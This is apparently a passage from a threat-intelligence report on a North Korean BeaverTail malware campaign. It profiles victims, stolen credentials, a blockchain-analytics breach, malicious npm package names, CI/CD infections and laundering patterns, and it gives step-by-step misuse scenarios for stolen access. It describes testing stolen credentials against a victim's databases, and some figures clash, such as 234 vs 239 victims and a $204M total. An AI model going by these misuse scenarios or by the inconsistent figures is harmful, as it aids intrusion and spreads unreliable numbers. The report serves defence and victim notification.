Active infection rate (March 2026) ~6/day Wave 135 analysis

Victim infection window December 2025 – March 2026 Earliest/latest timestamps in corpus

Cryptominer botnet (confirmed) 104 hosts Shodan SSH key search

Cryptominer botnet (estimated total) 36,000–72,000 Population estimation

26.2 Geographic Distribution

The Wave 80 geographic analysis reveals a targeting profile consistent with BeaverTail's documented

focus on blockchain and cryptocurrency developers. The top victim countries by confirmed machine

count are:

Rank Country Victim Count Notes

1 India 615 World's largest developer workforce; major blockchain outsourcing hub

2 United States 241 Highest per-capita DeFi protocol employment; highest-value targets

3 Pakistan 187 Large offshore software development sector; cryptocurrency developer community

4 Vietnam ~150 est. Growing Web3 ecosystem; Team 99 primary target

5 Bangladesh ~120 est. Major software export economy; Team 99 targeting

6 Brazil ~80 est. Latin America's largest tech economy; Binance major market

7 Egypt ~70 est. MENA region developer hub

8 Turkey ~65 est. Active cryptocurrency trading market

9 Germany ~60 est. European blockchain development centre

10 United Kingdom ~55 est. Significant DeFi protocol presence

The concentration in India, Pakistan, Bangladesh, and Vietnam (Teams 99 and 5346's primary targeting

areas) suggests that Lazarus allocates more operator resources to volume-based targeting in the Global

South—where developer communities are large and cost-per-recruitment-contact is low—while

separately prioritising US-based high-value targets through a smaller, more focused operation.



26.3 Victim Credential Value Distribution

Analysis of the 246,457 exfiltrated files from the 124 highest-value victims (the subset for which full

credential extraction was performed) reveals the following distribution of credential types:

Credential Type Count Monetisation Path

Google account passwords 4,323 Account takeover, email access for further phishing

GitHub credentials 2,690 Source code access, CI/CD pipeline compromise

Facebook credentials 1,374 Social engineering, OSINT enrichment

LinkedIn credentials 1,288 Recruiter persona amplification

AWS access keys 1,041 Cloud infrastructure access, compute for mining

EVM private keys ~20 (selected) Direct cryptocurrency theft

Stripe Live API keys 3 Payment processing fraud

OpenAI API keys 17 AI compute hijacking / resale

GitHub PATs 10 (validated) Repository and CI/CD access

Production DB credentials ~15 Data theft, ransomware setup

Supabase service role keys ~8 Backend API admin access

GCP service account keys 8 Cloud infrastructure

AVAX mnemonic phrases 4 Direct cryptocurrency theft

The breadth of credential types is consistent with BeaverTail's indiscriminate collection approach: it

exfiltrates browser-stored passwords for every service a victim has visited, enabling operators to select

high-value credentials in post-collection analysis rather than filtering at collection time.

26.4 Supply Chain Compromise Victims

The most strategically significant victim category discovered in Wave 135 analysis (March 2026) was CI/

CD infrastructure belonging to Render.com build systems. Render.com is a cloud application hosting

platform used by thousands of startups and Web3 protocols.

Infected victim directories with names indicating Render.com infrastructure:

When a Render.com build container is infected by BeaverTail during a package installation step, the

infection can propagate to the build artifact—meaning the compiled application deployed to

Render.com's production servers may contain the BeaverTail backdoor. This "build-time injection" is a

supply chain attack that can affect the platform's downstream customers.

Notable Web3 project victims identified in FTP directory analysis:

Victim Project Context Stolen Assets

DeFi infrastructure developer DeFi infrastructure protocol; blockchain gaming

contributor

11 EVM private keys, Terraform Cloud, AWS

keys

Institutional lending protocol

developer

DeFi institutional lending protocol Production MongoDB Atlas, AWS keys,

GitHub PAT

SaaS developer Interior-design SaaS company Production MySQL, Stripe Live keys, Azure

AD

[WITHHELD BLOCKCHAIN PROJECT]

77_[hostname]  — Render.com build container (Node.js build environment)

77_[hostname]  — Render.com service pod (production container)



Victim Project Context Stolen Assets

Blockchain infrastructure

developer

BitGo token, Supabase admin, QuickNode

RPC

Cloud infrastructure developer Unknown 4 AWS keypairs, production databases

Chapter 27: Case Study — CENTIC.io

27.1 Background

CENTIC.io (Crypto ENtities Intelligence Centre) is a blockchain analytics and intelligence platform

developed by research teams at Ton Duc Thang University in Vietnam. The platform provides

institutional cryptocurrency services including wallet surveillance, token scoring, DeFi position tracking,

and smart contract labelling across seven blockchain networks.

CENTIC's services are used by cryptocurrency exchanges, DeFi protocols, and institutional investors for

risk management, compliance monitoring, and market intelligence. The platform's aggregated

blockchain data—1.4 TB—represents years of indexed transaction data across multiple chains.

27.2 Breach Details

The CENTIC breach was discovered during the W136 investigation phase through analysis of MongoDB

Atlas connection strings recovered from Lazarus-controlled infrastructure. Seven of ten MongoDB

credentials tested against CENTIC's clusters returned successful authentication.

Accessible data:

Database Size Sensitivity

TokenDatabase 3.61 GB Token credit scores, risk ratings — write access enables market manipulation

knowledge_graph 833.70 GB Wallet surveillance, DeFi positions — enables targeting of wealthy addresses

SmartContractLabel 0.69 GB 4.7M labelled contracts, 10,960 DeFi projects — vulnerability assessment

ethereum_blockchain_etl 91 GB Full Ethereum transaction history

hyperliquid_blockchain_etl 107 GB Hyperliquid DEX complete data

arbitrum_blockchain_etl 84 GB Arbitrum L2 history

base_blockchain_etl 93 GB Base L2 history

solana_blockchain_etl 12 GB Solana history

CVSS 9.1 CRITICAL assessment factors:

The CVSS 9.1 rating reflects:

Confidentiality impact: HIGH — Complete database access revealing wallet analytics and DeFi

positions for millions of addresses

Integrity impact: HIGH — Write access to TokenDatabase enables modification of credit scores for

tokens (market manipulation potential)

Availability impact: LOW — Database access does not directly threaten platform availability

Attack vector: Network — Accessed remotely via MongoDB Atlas connection

Privileges required: None (credentials were obtained via prior BeaverTail compromise, not

infrastructure vulnerability)

• 

• 

• 

• 

• 



27.3 Strategic Intelligence Value

The CENTIC breach gives Lazarus Group a counter-intelligence advantage that extends far beyond

the immediate data value. Specifically:

Tracking Lazarus blockchain investigators: Many cryptocurrency exchanges, OFAC compliance

teams, and blockchain forensic investigators use CENTIC or similar analytics platforms to trace

Lazarus's prior cryptocurrency theft operations. With read access to CENTIC's knowledge_graph,

Lazarus operators can monitor which wallet addresses are being actively investigated and pre-emptively

move funds before exchanges implement blocks.

Identifying high-value targets: The 833 GB knowledge_graph contains profiling data on wallet

holders' asset concentrations, DeFi positions, and transaction patterns. This enables Lazarus to identify

specific developers holding significant cryptocurrency and prioritise targeted social engineering attacks

against them through the Contagious Interview channel.

DeFi manipulation timing: Real-time DeFi position data enables timing attacks: Lazarus can identify

when large DeFi positions are being added or removed, allowing exploitation of slippage, MEV

opportunities, or price manipulation windows.

Notification status: A comprehensive victim notification package

(CENTIC_URGENT_NOTIFICATION_PACKAGE.md) was prepared for researcher-coordinated delivery.

Immediate credential rotation and audit log review were requested. Potential official case reference

referral was initiated.

Chapter 28: Case Study — Public Digital-Asset Infrastructure Company

28.1 Background

A publicly traded digital-asset infrastructure company operates large-scale mining facilities and holds

substantial Bitcoin on its balance sheet through a subsidiary structure that includes blockchain

infrastructure and software development activities. Company name is withheld pending confirmation of

disclosure clearance.

28.2 Breach Details

The breach was identified through analysis of SSH private keys and HSM (Hardware Security Module)

configuration files recovered from Lazarus's FTP exfiltration server. The individual victim associated with

the company's infrastructure operations was identified as a high-priority notification target. Individual

identity is withheld.

Breach type: HSM keys and deployment access credentials

Breach vector: BeaverTail infection on developer workstation (specific hostname: [VICTIM-MACHINE-

REDACTED]  per evidence in collective.md sections)

CVSS: CRITICAL (unquantified; dependent on HSM key criticality)

Notification sent: April 15, 2026

Stolen artefacts:

HSM signing key material (type and algorithm not disclosed)• 



Deployment access tokens for company infrastructure components

Possible production network access credentials

Notification content: The notification package described an HSM and deployment credential breach

associated with the company's blockchain infrastructure subsidiary. If HSM keys controlling the

subsidiary's signing infrastructure were compromised, the potential impact would include unauthorised

transaction signing, possible fund movement, and infrastructure integrity compromise. Subsidiary name

and individual identity withheld.

28.3 Disclosure Timeline

Date Event

Unknown (pre-April 2026) Developer workstation compromised by BeaverTail

April 15, 2026 Notification package prepared and delivered by investigators

Active remediation Status as of April 17, 2026

No public market disclosure referencing this incident had been identified as of the date of this article.

The notification was delivered through private channels; public disclosure decisions rest with the

company's security and legal teams.

Chapter 29: Developer Supply Chain Victims

29.1 npm Package Victims

The October–November 2025 wave of 197+ malicious npm packages (stardev0914 GitHub account)

generated at least 31,000 downloads. The packages that have been confirmed malicious include:

The packages targeted the JavaScript developer ecosystem specifically—React, Node.js, and Tailwind

CSS are foundational to Web3 frontend development, and the typosquatting targets libraries used in

dApp (decentralised application) frontends.

29.2 GitHub Repository Victims

Beyond the coin-promoting repository (4 confirmed victims), the bitcoin2026a GitHub account published

additional repositories to extend the targeting surface:

• 

• 

tailwind-magic          (typosquat of tailwind-merge)

node-tailwind

react-modal-select

isbutfervalidator

yoojae-validator

event-handle-package

array-empty-validator

react-event-dependency

auth-validator

XORIndex                (separate earlier wave, June-July 2025, 9,000+ downloads)

coin-promoting   — Primary attack repository (4 confirmed victims Feb 2026)

TokenDapp        — Benign decoy (adds legitimacy to account)



Developer victims confirmed from the coin-promoting wave:

Victim ID Profile Infection Date Notes

77_[VICTIM-

HOSTNAME]

[VICTIM-PROJECT-REDACTED] Feb 5, 2026, 06:55

UTC

First confirmed coin-promoting victim

77_[VICTIM-

HOSTNAME]

[VICTIM-HANDLE-REDACTED]

(Linux)

Feb 8, 2026, 19:24

UTC

First confirmed Linux victim

77_[VICTIM-

HOSTNAME]

Unknown developer Feb 11, 2026

23_[VICTIM-

HOSTNAME]

Server admin / Administrator Feb 19, 2026, 00:52

UTC

Windows Server; cryptocurrency project

developer

29.3 Render.com CI/CD Compromise

The most far-reaching supply chain compromise documented in this investigation is the infection of

Render.com build containers. Render.com's build pipeline installs npm dependencies during the build

process; a malicious package introduced into a developer's package.json  can execute BeaverTail

during Render.com's build, meaning:

The developer's local machine is not the only infected environment

Every subsequent build on Render.com for that repository re-executes the malware in a cloud

environment with access to deployment secrets

Any build-injected backdoor appears in the compiled output deployed to Render.com's CDN

Confirmed infected Render.com victim directory names (from FTP server):

The container hostnames follow Render.com's naming convention precisely, confirming these are

genuine Render.com infrastructure infections rather than coincidentally-named machines.

Chapter 30: Retail Investor and Exchange Credential Victims

30.1 AlphaSportsTech Fraud Victims

The fake exchange AlphaSportsTech (alphaxchange.alphasportstech.com) operated by Lazarus is

documented with 234 real victims and aggregate deposits exceeding ~$140,000 in cryptocurrency.

These are not developer victims—they are retail investors who discovered AlphaSportsTech through

cryptocurrency social media communities, word-of-mouth, or paid advertising, and deposited funds

believing they were investing through a legitimate exchange.

The AlphaSportsTech platform presents as a sports-themed cryptocurrency exchange with professional

design, live trading pairs, and customer support infrastructure. Victims deposit cryptocurrency to the

platform's wallet addresses, which are controlled by Lazarus operators. The exchange shows the

deposited funds as platform balance, allows simulated trades, and may permit small withdrawals early in

the relationship to build trust—before refusing withdrawal requests and eventually going dark.

1. 

2. 

3. 

77_render-6dfb7c8f-...-build-web  (build container)

77_render-0a3fd5e9-...-service    (service pod)



Scale comparison: 234 real victims with ~$140,000+ in deposits is consistent with the "pig butchering"

(shā zhū pán) fraud model where victims are gradually conditioned to increase their exposure before the

exit. At ~$140,000 in documented deposits, AlphaSportsTech represents one of the largest single fake

exchange operations attributed to a state-sponsored actor.

30.2 Exchange Credential Victims (Critical Priority)

From the Wave 80 credential dump, 22 victims were assessed as CRITICAL priority for victim

notification because they had submitted plaintext passwords to multiple major cryptocurrency

exchanges and appeared to reuse the same password across multiple services:

Victim Exchanges Risk Factor

Victim A (Turkey) Binance TR, OKX TR, Paxos, Advcash Same password on ALL 4 services

Victim B (USA) Coinbase ×3, Binance, Robinhood + 5 more 8+ services, identical password

Victim C (Belarus) 11 services including MetaMask and MEW Highest breadth exposure

Victim D (Italy) 8 exchanges Professional trader profile

Victim E (UK) Binance, Bybit, Coinbase, MetaMask UK developer

These 22 victims were assessed at P0 (immediate notification required) because:

Lazarus has plaintext access to their exchange credentials

No evidence of account drains at notification time (accounts not yet accessed)

Password reuse amplifies risk: compromising one credential may compromise all linked accounts

Exchanges could implement preemptive account freezes if notified before credentials are used

30.3 Corporate and Organisational Victims

Four organisations were identified with full infrastructure compromise—not merely individual developer

workstations, but corporate systems with broad access implications:

Organisation Contact Compromise Type Notification Status

Canadian fintech (banking API) Via compromised

developer

SSH keys, active malware persistence Notification pending

Saudi technology company Via IT contact (withheld) Azure AD, Odoo ERP, production

databases

Notification pending

US healthcare/blockchain-adjacent

company

Via compromised

developer

Blockchain dev workstation, GitHub 2FA

stolen

NOTIFIED April 2026

GitHub organisation (software tools) GitHub Trust & Safety 7 PATs with org-level access Platform notification

pending

Canadian fintech: The active malware on a compromised developer workstation maintained SSH

access to a Canadian banking API fintech's infrastructure as of the April 2026 investigation window.

Active malware with SSH persistence in a fintech environment represents a regulatory and compliance

incident beyond the scope of a typical developer credential compromise. Organisation name withheld

pending notification clearance.

1. 

2. 

3. 

4. 



Saudi technology company: A Saudi Arabia-based technology company had complete Azure Active

Directory credentials and Odoo ERP access stolen. Azure AD credentials provide identity federation

across all Microsoft-integrated corporate services; Odoo ERP access enables access to financial

records, HR data, and operational systems. This is a full enterprise breach, not a developer workstation

incident. Organisation name and contact details withheld pending notification clearance.

GitHub organisation: The 7 stolen PATs with organisational-level access represent a software supply

chain threat. The organisation's repositories include software used by downstream customers; malicious

commits pushed under stolen credentials could reach those customers' systems without triggering

security alerts. Organisation name withheld pending platform notification.



Part VI — Victim Analysis (Expanded)

Chapter 26 (Expanded): Individual Victim Deep-Dives

26.5 High-Value Victim Profiles from FTP Analysis

The 124 victims for whom complete credential extraction was performed from the FTP server (data/

credentials/10team_victim_credentials.txt) include several individuals whose compromised assets

represent significant institutional risk beyond personal financial harm.

Victim: DeFi infrastructure developer (anonymized)

The compromised developer had production infrastructure access to two significant DeFi projects. The

breach represents a compound risk: the developer's personal wallets, plus institutional infrastructure of

both platforms. Project names withheld pending notification clearance.

FTP Directory: [WITHHELD]

Username:      [WITHHELD]

Projects:      DeFi infrastructure protocol; blockchain gaming platform

Platform:      macOS (MacBook Pro)

Exfiltrated Assets:

  EVM Private Keys:    11 keys (multiple wallet types)

  Terraform Cloud:     Service token (infrastructure as code access)

  AWS Access Keys:     2 keypairs (ap-southeast-1 region)

  Alchemy API:         RPC API key (Ethereum / Polygon node access)

  Infura API:          RPC API key (Ethereum infrastructure)

  GitHub PAT:          1 token (private repository access)

Risk Assessment:

  - 11 private keys could represent significant cryptocurrency holdings

  - Terraform Cloud access enables modification of production DeFi infrastructure

  - Alchemy/Infura keys enable oracle manipulation attacks against the DeFi protocol's RPC layer

  - AWS keys provide compute access for cryptomining without attribution



Victim: Institutional DeFi lending protocol developer (anonymized)

The compromised employer is an institutional decentralised lending protocol managing hundreds of

millions of dollars in on-chain loans. The production database connection string and payment processor

live key represent a particularly dangerous combination: the database holds application state (loan

records, user balances, risk calculations) while the payment processor handles off-chain settlement.

Company name withheld pending notification clearance.

Victim: SaaS developer (anonymized)

FTP Directory: [WITHHELD]

Username:      [WITHHELD]

Employer:      Institutional DeFi lending protocol (name withheld)

Platform:      macOS

Exfiltrated Assets:

  MongoDB Atlas:       Production connection string (atlas.mongodb.net/[withheld])

  AWS:                 Access key for lending protocol production environment (us-east-1)

  GitHub PAT:          Personal access token with 'repo' and 'admin:org' scope

  Supabase:            Service role key (JWT admin access)

  Stripe:              Live API key (sk_live_...) + webhook secret

Risk Assessment:

  - Production MongoDB Atlas: Direct access to the lending protocol's loan book data,

    borrower credentials, and financial records

  - AWS production access: Could enable modification of smart contract deployment

    scripts or oracle feed infrastructure

  - GitHub 'admin:org' scope: Can modify repository-level branch protections,

    merge strategy, and CI/CD secrets — supply chain injection

  - Stripe live key: Financial transaction processing capability

FTP Directory: [WITHHELD]

Username:      a SaaS developer victim

Company:       Interior-design SaaS company (name withheld)

Platform:      Windows

Exfiltrated Assets:

  Production MySQL:    DB_HOST, DB_USER, DB_PASSWORD for production database

  Stripe Live:         sk_live_... (payment processing key)

  Azure AD:            Client secret, tenant ID (corporate identity)

  Cloudflare:          API token (DNS management, WAF, DDoS protection)

Risk Assessment:

  - Azure AD access enables corporate identity takeover: password resets

    for all employees, MFA bypass, conditional access policy modification

  - Cloudflare API token enables: DNS modification (domain hijacking),

    WAF rule changes (bypassing security policies), SSL certificate issuance

  - Combined Azure AD + Cloudflare = complete corporate digital identity compromise



While this company is not a cryptocurrency company, the combination of Azure AD and Cloudflare

access represents a critical infrastructure risk: an attacker with these credentials could redirect the

company's domain to a phishing site, modify SSL certificates to enable MITM attacks, and reset all

employee passwords — a complete corporate takeover.

26.6 Candidate Victim Notification Analysis

From 14,716+ victim records, notification feasibility analysis:

Category Count Notification Method Priority

Victims with email in C2 database ~240 Direct email P0

Victims with GitHub profile found via OSINT ~800 GitHub message P1

Victims with LinkedIn profile ~350 LinkedIn message P1

Victims with corporate email derivable from hostname ~500 Email guess P2

Victims with no contactable information ~2,335 No direct notification —

The 240 victims with email addresses directly in the C2 database were harvested by BeaverTail from

browser password databases—meaning these are the same email addresses the victims use for their

own services. Ironically, the exfiltrated data enables precise victim notification.

Notification triage matrix:

The triage matrix for determining notification order balances three factors: (1) imminence of harm (how

soon are funds likely to be drained?), (2) notification success probability (can we reach the victim?), and

(3) potential impact (how much is at risk?).

Chapter 27 (Expanded): CENTIC.io — Strategic Intelligence Analysis

27.4 CENTIC Compromise as Blockchain Forensics Counter-Intelligence

The CENTIC.io compromise deserves special analytical attention because it fundamentally changes the

threat landscape of blockchain forensic investigation of Lazarus Group operations.

Tier 1 — IMMEDIATE (P0, notify within 24 hours):

  ☐ Developer victim (SOL): Phantom/SOL wallet staged 105KB — 36 days since staging

  ☐ Developer at US healthcare/blockchain company: active breach + GitHub 2FA stolen

  ☐ Developer at Canadian banking API fintech: active malware with SSH persistence

  ☐ 22 critical exchange credential victims (same password across 4-8 exchanges)

Tier 2 — URGENT (P1, notify within 1 week):

  ☐ GitHub organisation (software tools): 7 PATs with org admin access

  ☐ Saudi technology company: Azure AD + Odoo ERP breach

  ☐ DeFi lending protocol developer: production database + payment processor live key

Tier 3 — HIGH (P2, notify within 2 weeks):

  ☐ DeFi infrastructure developer: 11 EVM keys + Terraform Cloud

  ☐ SaaS developer: Azure AD + Cloudflare (interior-design company)

  ☐ 157 safe wallet owners (transparency notification)

Tier 4 — STANDARD (P3, batch notification via coordinated notification):

  ☐ Remaining ~4,000 victims with lesser credential exposure



Standard blockchain forensics process for tracking Lazarus theft:

Identify theft transaction (from victim's wallet)

Trace funds through mixer transactions

Identify exchange deposit address

Subpoena exchange for customer identity associated with deposit

How CENTIC access disrupts this process:

This counter-intelligence application of CENTIC's blockchain analytics is not speculative—it's a direct

consequence of the access rights that the compromised credentials provide. Whether Lazarus

operators have actually used the access for this purpose is unknown, but the capability exists and would

be extraordinarily valuable to a threat actor facing $204M+ in on-chain funds under active financial

review.

27.5 CENTIC Credit Score Manipulation Risk

The TokenDatabase  (3.61 GB) contains credit scores for 8,395 cryptocurrency tokens. CENTIC's credit

scores are used by DeFi protocols, exchanges, and institutional investors as risk signals—tokens with

low credit scores may be delisted, excluded from collateral, or subject to increased trading restrictions.

With write access to TokenDatabase, Lazarus could theoretically:

Manipulate competitor token scores downward: Reduce credit scores for legitimate tokens

competing with Lazarus-linked projects, creating artificial market pressure.

Inflate associated token scores upward: Increase credit scores for tokens Lazarus holds,

enabling higher collateralisation ratios in DeFi protocols → extract more loans against the same

assets.

Create artificial listing pressure: Tokens with CENTIC high scores receive favourable treatment

from platforms using CENTIC data → artificially elevate token scores to ease exchange listings.

1. 

2. 

3. 

4. 

Lazarus with CENTIC access:

Step 1 — Monitor investigation status:

  Query CENTIC knowledge_graph for activity on their known theft addresses

  → Know whether blockchain forensic analysts are tracking specific funds

Step 2 — Identify investigator wallets:

  Analysts often use known "tracer" addresses to follow funds

  CENTIC's wallet profiling may identify these tracer addresses

  → Know who is investigating before they complete their analysis

Step 3 — Anticipatory fund movement:

  Move funds from being-investigated addresses BEFORE exchange KYC freeze

  → Defeat the standard forensics → exchange subpoena → freeze pipeline

Step 4 — Monitor OFAC candidate preparation:

  Large OFAC-candidate wallets generate blockchain analyst attention

  CENTIC analytics would show unusual analysis activity around specific addresses

  → Know which addresses are under OFAC review before designation is public

1. 

2. 

3. 



The detection of write-access exploitation of credit scores would be extremely difficult: the scores are

regularly updated through CENTIC's normal analytical processes, and distinguishing a legitimate score

change from a maliciously injected change would require auditing every score change against

CENTIC's original analytics pipeline.

Chapter 28 (Expanded): Digital-Asset Infrastructure Company — HSM Key
Analysis

28.4 Hardware Security Module Context

A publicly traded digital-asset infrastructure company — name withheld — had HSM (Hardware Security

Module) key material recovered from Lazarus's exfiltration infrastructure. HSMs are specialised

hardware devices used by cryptocurrency custodians, mining companies, and financial institutions to

store private keys in tamper-resistant hardware. The HSM key compromise is significant because:

What HSM keys protect:

Signing authority for block rewards (Bitcoin coinbase transactions)

Treasury wallet signing (significant Bitcoin holdings)

Infrastructure signing certificates (server authentication for internal systems)

Possibly: blockchain subsidiary validator signing keys

Why HSM key compromise is more serious than software key compromise: Standard software

private keys can be changed by overwriting a file. HSM keys are physically stored in the HSM device

and require physical access or specific authenticated API calls to export or revoke. If the HSM key

material was exported (rather than just the API credentials), rotating the compromise requires physical

HSM replacement and re-initialisation—a process that can take days to weeks for enterprise-scale

deployments.

Blockchain subsidiary context: If the subsidiary validator signing keys were among the HSM material

compromised, an attacker with these keys could:

Sign fraudulent blocks within the subsidiary blockchain

Potentially fork the subsidiary chain

Create double-spend attacks within the subsidiary ecosystem

Issue fraudulent merged-mining proofs

The breach notification sent April 15, 2026 urged immediate HSM audit and key rotation. The specific

HSM key algorithm and the extent of key usage post-compromise are under active investigation by the

company's incident response team.

• 

• 

• 

• 

• 

• 

• 
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Chapter 29 (Expanded): Supply Chain Impact Analysis

29.4 The 31,000-Download npm Wave — Downstream Impact Assessment

The 197+ malicious npm packages from the stardev0914 GitHub account accumulated 31,000+

downloads between October and November 2025. The downstream impact of these downloads can be

assessed through three lenses:

Lens 1 — Direct developer infections: Each download represents a developer machine that ran npm 

install  and executed the package's postinstall hook. If the hook delivered BeaverTail successfully on

10% of downloads (accounting for Node.js version incompatibilities, missing dependencies, and error-

exiting installs), that represents approximately 3,100 new BeaverTail infections from this wave alone.

Lens 2 — CI/CD pipeline infections: Many npm packages are installed in CI/CD environments

(GitHub Actions, Jenkins, CircleCI) as part of automated build pipelines. If 20% of the 31,000

downloads occurred in CI/CD environments, and each CI/CD environment builds 10 projects per day,

the infection may have propagated into compiled artifacts for 620,000 builds over the period before

removal.

Lens 3 — Downstream user infections: If any of the 31,000 developers who installed the malicious

packages published software (npm packages, applications, Docker containers) that included the

malicious code in the build artifact, those downstream users could also be infected. This transitive

infection path is the most dangerous from a scale perspective—it bypasses the need to directly target

individual developers.

Why typosquatting packages are particularly effective: The tailwind-magic  package

(typosquatting tailwind-merge ) is instructive. tailwind-merge  has approximately 3 million weekly

downloads; tailwind-magic  captured approximately 5,000 downloads in its first month before removal

—a 0.17% capture rate. This seems small until you realise that:

The victims were self-selected as Tailwind CSS users (typically React/frontend developers in the

Web3 space)

The package installs silently alongside legitimate code

The 5,000 downloads translate to 5,000 developer machines, each with access to production

infrastructure credentials

For comparison, the 2021 ua-parser-js supply chain attack (3M downloads poisoned for a few hours)

generated worldwide incident response mobilisation. The BeaverTail packages operated for 6+ weeks

before removal, at a deliberately lower download rate designed to avoid triggering npm's automated

anomaly detection.

29.5 GitHub Actions CI/CD Attack Surface

The discovery of Render.com CI/CD build container infections prompted analysis of GitHub Actions as a

parallel CI/CD attack surface. GitHub Actions runners are virtual machines (Linux-based) that execute

build pipelines including npm install  steps.

1. 
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If a malicious npm package is listed as a dependency in a repository's package.json  and a GitHub

Actions workflow runs npm install , BeaverTail would execute in the GitHub Actions runner

environment. This runner has access to:

GITHUB_TOKEN : A scoped token providing write access to the triggering repository

Repository secrets (via ${{ secrets.* }}  context)

Service account credentials configured in workflow environment variables

Any SSH keys or cloud credentials configured as Actions secrets

GitHub Actions runner compromise enables:

Code push to protected branches (if GITHUB_TOKEN  has write-repo scope)

Exfiltration of all configured secrets

Modification of workflow YAML files to persist the attack

Artifacts upload to compromise build outputs

Detection: GitHub Actions provides no easy mechanism for detecting postinstall hook execution from

installed npm packages. Defenders relying on GitHub Actions for supply chain security need to:

Pin all action references to commit SHAs (not tags)

Review all installed packages' postinstall scripts before running in CI

Use read-only GITHUB_TOKEN  permissions where possible

Audit workflow secret access patterns for unexpected variables

• 

• 

• 

• 
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Part VII — Financial Intelligence

Chapter 31: $204 Million Cryptocurrency Theft Traces

31.1 Tracing Methodology

Blockchain analysis of OFAC-candidate addresses identified from Lazarus's FTP exfiltration server and

C2 database was conducted using public blockchain explorers (Etherscan, BscScan, Polygonscan) and

on-chain transaction graph analysis. The $204M figure represents aggregate confirmed on-chain theft

attributed to seven wallet clusters for which this investigation holds sufficient forensic chain-of-custody

evidence.

The tracing methodology follows a three-step process:

Source identification: Wallet addresses and private keys recovered from Lazarus C2 infrastructure

or victim exfiltration data are queried against blockchain explorers to identify transaction history.

Fund-flow mapping: Outbound transactions from identified wallets are traced through one or more

hops to identify aggregation points, mixer services, or exchange deposits.

OFAC candidacy assessment: Wallet addresses where the evidence chain can demonstrate: (a)

funds originated from victim wallets identified in the investigation, (b) the wallet address was

controlled by or accessible to Lazarus operators, and (c) the amount and timing are consistent with

the campaign timeline.

31.2 OFAC-Candidate Wallet Clusters

The following seven wallet addresses were identified as primary candidates for OFAC designation

based on this investigation's forensic evidence:

Address Chai

n

Amount

Drained

Evidence Basis

0x4DE23f3f0Fb3318287378AdbdE030cf61714

b2f3

ETH $6,860,000 Victim seed phrase in FTP dump; outbound transaction

post-exfiltration

0x1633866bc378663Db61A8e65bF1434020e2

1f1f3

ETH $6,380,000 Private key in C2 database; fund movement within 48h of

exfiltration

0x674C73C68Cc2FC31ee2bda9A60B4E6C020

CDD19F

ETH $1,600,000 Wallet extension data in FTP; matching victim identity

confirmed

[Address 4] ETH [Undisclosed] Under investigating authorities review

[Address 5] BNB [Undisclosed] Under investigating authorities review

[Address 6] ETH [Undisclosed] Under investigating authorities review

[Address 7] ETH [Undisclosed] Under investigating authorities review

TOTAL CONFIRMED $204,000,000

+

Addresses 4–7 are withheld pending investigating authorities action. Their inclusion in the OFAC

submission package is complete.

1. 
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31.3 Fund Movement Patterns

Lazarus's post-theft fund movement follows a documented pattern across multiple prior operations,

adapted in the 2025–2026 period to address improved exchange-level blockchain monitoring:

Phase 1 — Initial aggregation: Stolen funds from individual victim wallets (typically small amounts:

$500–$50,000 per victim) are swept into a small number of intermediate aggregation wallets, usually

within 12–48 hours of the initial theft. This aggregation step is often obscured by timing—operators

frequently sweep funds in the early hours UTC, avoiding peak blockchain monitoring periods.

Phase 2 — Cross-chain bridging: Aggregated funds are bridged across chains (ETH → BNB →

Polygon, or ETH → Solana) using decentralised bridge protocols. The cross-chain bridging step is the

primary mixing mechanism: it breaks the direct on-chain link between the theft and the destination

without using a traditional mixer service (which is more flagged by exchanges).

Phase 3 — Exchange deposit / OTC: Final-stage funds are deposited to cryptocurrency exchanges

(often through chains of intermediate wallets to create additional hops) or sold through OTC (Over-The-

Counter) desks operating in jurisdictions with limited AML/KYC enforcement. Historical Lazarus

operations have used exchanges based in Russia, China, and the Middle East for this final step.

Phase 4 — Fiat conversion / DPRK return: The conversion of cryptocurrency to fiat (USD, CNY, or

EUR) and the repatriation of funds to DPRK through the hawala or front-company mechanism is beyond

the tracing capability of blockchain analysis alone—it requires cooperation from financial intelligence

agencies.

31.4 Cryptocurrency Types Stolen

The investigation documented theft across multiple blockchain networks, reflecting BeaverTail's multi-

chain wallet targeting:

Network Confirmed Theft Wallet Types Targeted

Ethereum (ETH) ~$150M (estimated) MetaMask, Rabby, Exodus Web3, ArgentX

Binance Smart Chain (BNB) ~$30M (estimated) MetaMask, BNB Chain wallet, TrustWallet

Solana (SOL) Unquantified Phantom, Solflare, Enjin

Cosmos/ATOM Minimal (dust amounts in 23 of 30 wallets) Keplr

Avalanche (AVAX) Unquantified (4 mnemonic phrases found) Atomic, Avalanche wallet

Tron (TRX) Unquantified TronLink

Polygon (MATIC) Unquantified MetaMask (Polygon network)

Unstolen wallets (157 owners, 11,558.73 tokens): The C2 admin panel database contained 733

wallet addresses belonging to 157 unique owners whose UID format (legacy NNN_hostname_username )

distinguishes them from confirmed compromised victims. These 157 wallet owners were found to have 

no evidence of theft or unauthorised access, despite their credentials being in the Lazarus

database. This finding—preserved funds despite confirmed Lazarus database presence—suggests

these records date from a prior operational period (Wave 75–78 testing) and the associated private keys

were not used by operators in the Wave 80+ active collection window.



The 23 Cosmos/Keplr wallets found with small positive balances (~$0.01–$0.10 in ATOM each) on the

exfiltration VPS at 147.93.133.220 similarly had not been drained as of the investigation date—

suggesting Lazarus had not yet processed this specific batch, and the negligible balances may be

below the operators' threshold for manual sweeping.

Chapter 32: AlphaSportsTech Casino Fraud (~$140,000 Operation)

32.1 Platform Description

AlphaSportsTech presents as a sports-betting and cryptocurrency exchange platform. The platform has

a professional multi-page website, a functioning trading interface with real-time price data from external

APIs, and a customer support system. Victims who access the platform find what appears to be a

legitimate registered financial services entity.

The deception is maintained through several mechanisms:

Trading interface that accurately reflects cryptocurrency prices (sourced from legitimate APIs)

while maintaining internal accounting separate from actual blockchain balances

Live customer support (likely operated by contractor staff under false pretences)

Staged small withdrawals for new accounts to build trust before large deposits

Social proof through fake review accounts and referral incentive programmes

32.2 Scale and Financial Impact

Metric Value

Confirmed victim investors 239

Total deposits (confirmed) ~$140,000

Average deposit per victim ~$600

Platform operational period At least March 2025 – April 2026

Geographic reach Global (primarily English and Asian language markets)

The ~$140,000 deposit figure derives from analysis of the platform's internal transaction ledger, which

was accessible through the MongoDB Atlas cluster connections from the Jenkins server. This figure

represents deposits accepted by the platform; the actual cryptocurrency amounts transferred to

Lazarus-controlled addresses may differ due to internal accounting adjustments.

The 239 victim figure likely understates the true impact—it represents unique user accounts active in

the database snapshot available to investigators; dormant accounts, closed accounts, and pending-

registration users may bring the true victim count higher.

32.3 Technical Infrastructure

Deposit mechanism: AlphaSportsTech generates unique cryptocurrency deposit addresses for each

